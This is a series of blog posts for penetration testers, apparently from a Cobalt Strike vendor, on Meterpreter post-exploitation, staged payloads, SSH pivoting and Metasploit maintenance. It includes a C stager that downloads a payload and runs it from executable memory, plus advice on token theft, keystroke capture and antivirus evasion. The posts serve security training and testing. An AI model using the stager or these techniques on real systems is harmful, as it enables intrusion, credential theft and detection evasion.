Hacking involves managing a lot of contextual factors at one time. Most times, the default situation works and a tool will perform beautifully for you. Sometimes though, there are things you have to check on and work around. That’s what this blog post is. I’d like to give you a list of contextual factors you should know about your Meterpreter session with pointers on how to manipulate these factors. This information will help you think on your feet and modify your situation so that you can get what you want out of your post-exploitation agent.

Which process do I live in?

Let’s start with the first contextual factor: your process. After exploitation, Meterpreter lives in the process you took control of. This process is associated with a user, it may or may not have a subset of the active users privileges, and depending on which process it is–the process could go away.. in any moment.

To learn which process your Meterpreter session lives in, use the getpid command. This will return your current process id.

To see which processes are on the system, type ps to see a listing of processes.

To change to another process, use migrate [process id] to force Meterpreter to open a handle to another process, allocate memory there, copy itself, and start a new thread of execution in that process. Somehow, Meterpreter preserves state during this migration as well. I’d like to give you a summary of how it does that, but truth is–I don’t know 🙂 The PID column of the ps output indicates the process ID. Don’t confuse this column with PPID which is the parent process ID.

Be aware of “when” you choose to migrate. If you live in a process and you’ve started pivoting, logging keystrokes, and doing other things–when you migrate, you may end up forcing Meterpreter to think it must control or interact with a non-existent resource and you may lose your session. It’s best to migrate early, before you’ve started to do anything significant. If in doubt, have Beacon on the system to give you a quick way to recover your session if something goes wrong.

What is the architecture of the system I’m on and the process I’m in?

When you attack a system and get a session, you may deliver an x86 payload, but find that you’re on an x64 system. It’s important to know the architecture of the system you’re on and the type of process you live in. If you’re in an x86 process on an x64 system, some actions that require manipulation of system data structures will fail. If you want to dump hashes or use mimikatz, you will need to make sure you live in a process that matches the native system.

How do you do this? You can pull this off with our friend migrate. Use migrate [process id] to move to another process. If you move from an x86 to an x64 process or vice versa, Meterpreter will manage this transition for you. The Arch column of ps’s output is the architecture of the process.

To determine the architecture of your current Meterpreter session and the system you’re on, use sysinfo.

What is my current desktop?

This is one that bites folks a lot. Windows has the concept of desktop sessions. Each desktop session has its own number. Most Meterpreter actions will act on the active desktop session. If you try to take a screenshot, Meterpreter will try to oblige you by getting a screenshot of the current desktop session. If your process is not associated with a desktop, then you will not get a screenshot. If your process is not associated with a desktop that’s in use, then you will not get a useful screenshot. This same logic also applies to keystrokes and other tools that allow you to capture user activity. This same logic also applies if you’re trying to execute a non-hidden program and make it show on the user’s desktop.

To see which desktop you’re in, use getpid to determine your process and look at the session column in the output of ps.

Use enumdesktops to see which desktops are available.

Use setdesktop to force your process to associate with another desktop. This command requires a few arguments provided by enumdesktops, make sure you review the help provided by setdesktop -h.

Take a look at the Session column of ps’s output to see the desktop session associated with each process.

Which token do I have?

The last item to know is your current token. In Windows, each process and thread has a token associated with it. This token states which user the thread of execution is associated with and which subset of that user’s rights the thread or process has. Knowing the token you currently have is everything. Your token is your free pass to summer fun and the ability to do things.

If you have the NT AUTHORITY\SYSTEM token, you have a token that gives you complete control of the host that you’re on. Generally, you need this token to dump hashes and perform other actions that require interrogating the system for things you want. This token is associated with the current host though. This token does not give you the right to manipulate other systems that trust the same domain controller.

If you have the token of a user on the domain, you have the rights to do things and access the resources that user can get to. For example, if there’s a share on another system that you have the rights to, you may open a command shell and interrogate it.

If you have the token of a domain administrator, then you may go to town and take over the world. You can try to copy an executable to a place another host can reach and schedule it to run on another host. This gives you the ability to get code execution on other hosts that are part of the same domain.

Knowing your current token is important. To determine the token you have, use getuid.

To steal a token from a process, use steal_token [process id]. The User column of ps’s output has the token associated with each process.

To go back to your original token when you’re ready to do so, use rev2self (revert to self).

A process listing is one place to find a token, but it’s not the only place. Windows may associate a different token with each thread and tokens persist on a system until reboot. If you want to enumerate the current system for all available tokens, use the incognito module to do so. I could write about this module here, but the Metasploit Unleashed Wiki covers it well.

The Take Away

When I’m using meterpreter, sometimes, an action will not happen as I hoped. When I find myself in this situation. I take a look at these contextual factors. If I want to spy on the user, I make sure I’m in a process associated with the right desktop session. If I want to dump hashes I make sure my meterpreter architecture matches the operating system’s architecture. If I want to perform a privileged action, I make sure I have the right token to do it.

As deceptively simple as Meterpreter is, there are a lot of contextual factors to know to get the most from it.

The Metasploit Framework decouples exploits from the stuff that gets executed after successful exploitation (the payload). Payloads in the Metasploit Framework are also divided into two parts, the stager and the stage. The stager is responsible for downloading a large payload (the stage), injecting it into memory, and passing execution to it.

Staging first came about out of necessity. Many exploitable situations constrain how many bytes an attacker may load, unchanged, into one contiguous location in memory. One way to do interesting post exploitation in these situations is to deliver the payload in stages.

Stagers are usually written in hand optimized assembly language. The attacker’s goal is to make the stager as small as possible. A small stager gives an attacker freedom to use it with more exploits.

This code snippet shows a stager written in C. Allocate a buffer, download the stage, and pass control onto it. I explain this process in an earlier blog post, the entire program is on Github.

/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");

/* allocate a RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n");

/* prepend a little assembly to move our SOCKET value to the EDI register
thanks mihi for pointing this out
BF 78 56 34 12  => mov edi, 0x12345678 */
buffer[0] = 0xBF;

/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);

/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);

/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();

Staging makes it possible to deliver a variety of payloads with just a few stagers. So long as I have code that is compatible with a stager, I may deliver my code with all the exploits the stager supports (again, size is a constraint). This flexibility makes payloads like Beacon possible without requiring modifications to the Metasploit Framework.

Relying on a stager makes anti-virus evasion simpler too. Windows Meterpreter is 700KB and Cobalt Strike’s Beacon is 120KB. Let’s assume there is no size constraint–if I create an attack package, to deliver my desired payload as-is, I am providing an anti-virus vendor with a lot more stuff they can write a signature against. By using a stager to deliver my payload, I have to focus only on getting the stager and attack package past anti-virus. If the stager is not caught, then my stage is probably safe.

In theory, a stage could be position independent code of any size. In reality, stages used with the Metasploit Framework are DLLs written in C. These DLLs are compiled with a Reflective DLL Injection library, written by Stephen Fewer. This library is able to load a library into a process from memory. Consult Stephen Fewer’s Reflective DLL Injection paper to learn how it works.

When preparing a DLL to become a stage, the Metasploit Framework prepends bootstrap code to the beginning of the payload DLL. This bootstrap code calls the exported Reflective DLL injection function in the payload DLL with the location in memory of the payload DLL. This bootstrap code coupled with the Reflective DLL Injection library allows the payload to load itself into the process, without touching disk, once the stager passes control to it. From my experience, this process requires a specific compiler and build settings to work properly.

If you look at a staging process in Wireshark, you will see an unobfuscated DLL going over the wire. This is a great opportunity to get caught. Fortunately, the Metasploit Framework now has options to encode this second stage. These options are EnableStageEncoding and StageEncoder. Cobalt Strike’s Listener Management feature automatically sets these options for you.

While the simplest stagers connect to an attacker and download the payload via a TCP connection, this is not always the case. It’s possible to stage over any protocol a developer is willing to write code for. Windows provides a rich library called WinINet that makes it easy to grab content from any URL. This library sits below Internet Explorer and gives developers a lot of capability for free. This library makes it possible to grab a payload over HTTP or HTTPS while keeping the stager small enough to use with most exploits.

Sadly, the size constraint of stagers makes other communication options more challenging to implement with the Metasploit Framework’s toolset. If there are no built-in Windows libraries to download a stage with very little code, it makes little sense to write a stager for that protocol. If there is no stager for a protocol, it makes little sense to have Meterpreter or another payload speak that protocol. The logic goes like this–if I can stage over a protocol, then I must be able to communicate over it. If I can’t stage over a protocol, I shouldn’t expect that I can stage the payload in the first place. This logic kept me from pursuing the DNS Communication feature in Beacon for a long time.

Staged Payloads are an awesome capability in the penetration tester’s arsenal. Stagers give us a lot of flexibility in terms of which tools we use after successful exploitation. Even though this process is largely invisible to users, I wrote this post to shed some light and context on what’s happening. The better we know our tools, the better prepared we are to use them properly.

---

Interested in Trying Cobalt Strike?

REQUEST A QUOTE

This is a pretty quick tip, but still useful. When you SSH to a host, you may use the -D flag to setup “dynamic” application-level port forwarding. Basically, this flag makes your ssh client setup a SOCKS server on the port you specify:

ssh -D 1234 [email protected]

What you may not know, is that it’s possible to send your Metasploit Framework exploits through this SSH session. To do so, just set the Proxies option. It’s an Advanced option, so you will need to check the Show Advanced Options box in Armitage. The syntax is:

socks4:[host]:[port]

To send an attack through this SSH session, I would set Proxies to socks4:127.0.0.1:1234.

This came in hand at the North East Collegiate Cyber Defense Competition. We were able to get onto a student network through one Linux host. This Linux host could see another Linux host on the same network. Through this second Linux host, we were able to touch the team’s domain controller. We had cracked several credentials earlier. Our last task was to verify if any of them worked through the domain controller. We fixed the team’s DNS server and installed smbclient. Once we discovered one of our accounts could read the ADMIN$ share, we used ssh -D 8080 to get to the first server. We setup proxychains to go through this SOCKS host. We then used ssh -D 8081 to connect to the second server. From that point, we were able to point Proxies to socks4:127.0.0.1:8081 to psexec and executable to the domain controller. This executable delivered Cobalt Strike’s Beacon, which gave us some post-exploitation capabilities. We held that domain controller for the rest of the event.

If you ever need to pivot an attack through an SSH session, the Proxies option will come in handy.

The official home of the Metasploit Framework’s source code has been github for a while now. Ever since the move to Git, Rapid7 has operated a subversion server that allowed older Metasploit Framework environments to continue to receive updates. Soon this SVN server will shut down (it’s time). That’s what these messages are about:

If you installed the Metasploit Framework with the 4.4 installer or earlier, you’ll need to take action. You won’t get updates from msfupdate without action. You can uninstall the Metasploit Framework and setup an environment with the 4.5 installer. Beware, it’s different from the previous installers. The 4.5 installer requires you to register for a Metasploit Community Edition key to use msfupdate. The 4.5 installer also uses the same Metasploit code base / db tables for the open source and commercial interfaces. This has already led to some fun.

Here’s the word from Tod Beardsley on these changes:

https://community.rapid7.com/community/metasploit/blog/2013/01/17/metasploit-updates-and-msfupdate

The benefit of the 4.5 installer is that it pulls tested changes only. The Rapid7 QA team works through a snapshot of the framework once a week and clears it for release. In the 4.5 environment, this tested snapshot is what msfupdate will pull if you register for a key.

If you want to use Git and not register, Tod’s blog post offers several options. I’d like to offer another one. You can continue to install the Metasploit Framework with the 4.4 installer. The 4.4 and 4.5 installers ship with the same dependencies. It’s easy to convert the 4.4 environment to pull updates via Github. Here’s how to do it:

cd /opt/metasploit
rm -rf msf3
source scripts/setenv.sh
git clone git://github.com/rapid7/metasploit-framework.git msf3

At this point, your Metasploit Framework source code is now pulled from Github. If you use msfupdate, the script will detect the Git tree and pull updated source code from the master branch. Pretty easy. Read the rest of this entry »

TL;DR Rapid7 wrote a blog post claiming that their exploits are better. I think the Metasploit Framework’s coverage is fine, but some other vendors do better with AV-safe client-side exploits. Over time, memory corruption exploits will become less relevant to penetration testers. Let’s talk about how penetration testing is evolving, not who has “the best” exploits.

Let’s talk about the players in the penetration testing software field. There’s Core Security, Immunity Inc., Rapid7, Saint Corporation, and my outfit Strategic Cyber LLC.

Generally, we act like politicians on the campaign trail fifteen months before an election. We either act like the other parties don’t exist, take very light jabs, or look for ways to cooperate.

Today, Rapid7 has a blog post on Open Source vs. Pay-for-Play exploit packs. In this post, a Product Marketing Manager at Rapid7 makes his case as to why Rapid7’s hybrid open source and commercial model yields more reliable and relevant exploits than other commercial-only contenders.

Nico Waisman, a Regional Manager and accomplished Security Researcher from Immunity Inc., had an interesting reaction to this particular post:

Hilarious read: https://t.co/ESMr7FY9 I can't decide yet which one is my favorite FAIL quote.

— Nico Waisman (@nicowaisman) December 27, 2012

The end of Rapid7’s blog post invited opinions, so here’s mine.

First, the Rapid7 blog post labels Metasploit Framework contributors like myself as the Rapid7 Security Community. I am not a member of the Rapid7 Security Community. I am a contributor to the Metasploit Framework. Refer to us as the Metasploit community, please.

Next, I can see where this post is coming from. Core Security labels their exploits as commercial grade. I perceive this as a light jab against the open source Metasploit Framework. I read Rapid7’s post as a response to the commercial grade label.

After I published this post, a Core cofounder and former CTO responded to the commercial grade label. My perception of this label wasn’t the intention of it. Thanks for clarifying. The tweets are below.

https://twitter.com/4Dgifts/status/284439074767519744

https://twitter.com/4Dgifts/status/284441225640165376

For remote service exploits, it is my belief that all products have similar coverage. The most common remote service exploit to demo is 2008’s ms08_067_netapi. As we turn near 2013, I believe all products have this one well covered. There are other useful remote exploits, but I’m not aware of a magical remote service exploit in any product that by itself, makes the product a must-have. No one has an edge here.

Now, if your work involves penetrating systems, not verifying remote service vulnerabilities, then client-side attacks matter to you. Again, I believe the Metasploit Framework has good coverage of client-side attacks. However, some of its pure commercial competitors have an edge in this area.

The Metasploit Framework’s client-side attacks are eaten alive by anti-virus products. The problem is so bad, that part of my roadmap involves porting a few key attacks to Cobalt Strike so I can give my customers options. Core Security tries to stay ahead of some anti-virus products. I haven’t read a blog post from Immunity and Saint about this topic, so I can’t speak to how they handle this problem here.

Now of course, anyone can modify the Metasploit Framework’s exploits to evade an anti-virus product and submit a pull request. This is rare though. My guess is that if someone modifies a Metasploit Framework client-side exploit they hold onto it to get the most use out of their modification. I expect pen testers to have the skill to modify an exploit to pass AV, but many penetration testers find themselves squeezed to mimic a threat in a tight timespan, anything we can do as vendors to help them is welcome.

Access strategies change over time though. 10 years ago, the game was memory corruption exploits against remote services. 4-5 years ago, the game shifted to memory corruption exploits against user applications (client-side attacks). Organizations continue to become smarter about vulnerability and patch management. Software will continue to become harder to exploit. Despite this progress, organizations today get owned with executables disguised to look like PDFs.

As memory corruption exploits become less relevant, we must focus on reconnaissance and look for opportunities to abuse information disclosures, design flaws, configuration mistakes, trust relationships, and the behavior of systems. David Kennedy’s Social-Engineer Toolkit is an example of this. Its Java Signed Applet attack uses existing functionality to get access and it is constantly updated to stay ahead of anti-virus.

I believe organizations will one day assume an attacker can get a foothold. At that point, a pen tester will add value by helping an organization assess their ability to detect, frustrate, and contain an attacker. Our tools will need to evolve to better support this service offering.

How should they evolve? Let’s start with these questions: How do you maintain access to a system without tripping an alarm? How do you establish Command and Control when facing a very restrictive firewall and web proxy server? How do you carry out those neato insider threat attacks from a foothold? How do you quickly identify privilege escalation opportunities? How do you automate your engagement? How do we as vendors better help our pen testers match capabilities to opportunity? How do you manage large-scale penetration testing infrastructure to better mimic an adversary with control of multiple hop points? These areas are stagnant in penetration testing tools and ready for innovation.

As we get better at mitigating vulnerabilities, in what other ways will pen tester service offerings evolve? As more organizations trust cloud services, we’re seeing social engineering attacks that take advantage of differing vendor policies about which information is safe to give out vs. which information authenticates you. Who is working to address this?

Successful attacks are just as much about a lucky opportunity from good timing as they are about good products and planning. A two-week window is hit or miss in terms of opportunity. What would an economical year-long penetration test look like? How can we as vendors better support the next penetration testing service models?

Attackers continue to evolve. Penetration testing is slowly evolving. We’re not away from the vulnerability verification mindset yet, but we’re getting there. I believe that swinging swords around who has better exploits is irrelevant. Vendors who want to lead should discuss where the field is going and work to help it get there.

"I have a dream that hackers will one day not be judged by the color of their hat, but by the content of their exploits." – @jack_daniel

— SecurityHumor: Pro-VAX-11/780 (@SecurityHumor) December 27, 2012

Two weekends ago, I ran my Advanced Threat Tactics course with a group of 19 people. During the end exercise, one of the teams was frustrated. Their team server was incredibly slow, like mollasses. I asked the student with the team server to run top and I noticed the ruby process for msfrpcd was consuming all of the CPU. I mentioned that I had seen the issue to which the student leaned back, crossed their arms and responded “oh, great, I guess my 2-cores and 4GB of RAM aren’t enough–harumph!”

I wasn’t fibbing to sweep the issue under the rug. I have seen this behavior before, for the last year actually. It frustrated me too, but I was never able to isolate it. In this blog post, I’d like to share with you the story of this bug and how I managed to isolate it. I hope this will help you with tracking down issues you encounter too.

To scan through a pivot, Armitage has a feature I call MSF Scans. This feature will run auxiliary/scanner/portscan/tcp to discover services and follow it up with several auxiliary modules to further enumerate the open services.

I noticed on some virtualized systems that following this process would lead Ruby to consume CPU for an entire core, making the Metasploit Framework non-responsive. On Amazon’s EC2, a micro instance would nearly always trigger with this problem. It’s this reason I recommend that Armitage and Cobalt Strike users use a high CPU EC2 instance.

When a thread is so busy that it consumes all of the CPU, we refer to this problem as resource starvation. This busy thread is preventing other threads from running as often as they normally would, making the whole system feel slow.

I took a look at the virtual machine I gave out in class to see if I could reproduce the problem. Most of the time, when I would run a scan–everything was OK. If I opted to run multiple scans at once (uncoordinated teams sharing one Metasploit Framework instance do this a lot), then  I was much more likely to trigger this problem. When I ran multiple scans through a pivot enough times, I would reliably trigger this CPU starvation condition.

Reliably reproducing a problem is the first, and often hardest step in actually fixing it.

Next, I had to figure out where this problem was happening. In Java, there’s a way to dump a stracktrace of every running thread to STDOUT (use kill -3 [pid] to do this). Ruby has a gem called xray which will sort-of do this. By default it only dumps the current thread. If I wanted to patch Ruby, apparently I can get it to dump all threads. I decided to look for another option.

The Metasploit Framework has a threads command. Typing threads by itself will list the threads spawned by the framework:

If you type threads -i [number] -v you will see a stacktrace for that thread.

You may also use threads -k [number] to kill a thread.

Armed with this information, I opted to trigger the CPU starvation condition and kill threads one at a time until the CPU spinning stopped.

I had an inkling that one of the threads created by the auxiliary/scanner/portscan/tcp module was the cause of this CPU use.  I kept examining and killing threads until the only ones left were the MeterpreterDispatcher and MeterpreterReceiver threads.

When I killed my meterpreter session, the CPU use went to a normal level. When I killed all jobs and threads related to my portscan, the CPU use stayed at the high level. Conclusion? The problem is in the MeterpreterDispatcher and MeterpreterReceiver threads–somewhere.

I dumped the stacktrace for these threads. I then started at the top and looked at thread_factory.rb. I had this crazy notion that each framework thread checks out a connection from the postgres database. Maybe I exhausted this pool somehow (or something wasn’t giving back to this pool) and this would cause further thread creation to block, possibly forcing some code into a busy wait state. This assumption was not correct.

I took a look at the next spot in the stacktrace, packet_dispatcher.rb.

Line 255 of packet_dispatcher.rb is the start of the code for the MeterpreterReceiver thread.

Line 307 of packet_dispatcher.rb is the start of the code for the MeterpreterDispatcher thread.

You may use p to print any Ruby data structure to the console or wlog to log a string to the framework.log file in ~/.msf4/logs. I added a few p statements to these two threads so I could understand what they were doing. For example:

p "The size of @pqueue is #{@pqueue.length}"

When I triggered my CPU consumption condition, I noticed something strange.

MeterpreterDispatcher would loop inspecting the size of a variable called @pqueue. At the beginning of this loop, @pqueue would always have one or two items. This thread only sleeps when @pqueue is empty. This is OK, because the MeterpreterDispatcher loop clears @pqueue during each iteration.

How do values get into @pqueue? I took a look at MeterpreterReceiver. This thread will add values to @pqueue. According to my debug output though, the MeterpreterReceiver thread was not adding values to @pqueue when my bad loop was hit.

I looked closer and noticed that at the end of MeterpreterDispatcher there is a check. The thread will try to process a packet and if it can’t, it will insert it back into the queue. Interesting.

If MeterpreterDispatcher can not process a packet (for whatever reason), it adds it to the queue. The queue is no longer empty so it is guaranteed to try again without sleeping. If MeterpreterDispatcher can not process the packet again, it adds it to the queue. Bingo… I found my resource starvation opportunity, almost.

MeterpreterDispatcher has a check to take a packet off of this treadmill. If this check takes incompletely processed packets from the queue, then I’m wrong again. I examined the code and saw that the packet timeout value is 600s or 10 minutes. When a packet is not processed, it’s added to the queue, again and again until it’s processed or 10 minutes pass. This explains why the problem would show up and go away if I left the framework alone for a time.

At this point, I wrote a simple patch to sleep when the packet queue is populated entirely with packets it couldn’t process. I submitted my pull request and after egypt was able to verify the issue, the issue was closed. I’m always amazed by the responsiveness of the Metasploit Framework dev team.

I hope you enjoyed this post mortem. I wrote this post because I’d like to encourage you to dig into the weird issues you encounter and try to solve them. Sometimes, you’re the person with the right environment and situation to trigger a hard to reproduce issue. The Metasploit Framework team did a wonderful job providing us tools to inspect what the framework is doing. With these tools, you can isolate these complicated issues–even if you’re not much of a Ruby programmer. Fixing bugs is an important way to contribute to an open source project. A module may delight folks with their new found powers, but a bug fix will save stress, frustration, embarrassment, and potentially counseling costs for thousands of people. I’m happy this one is fixed.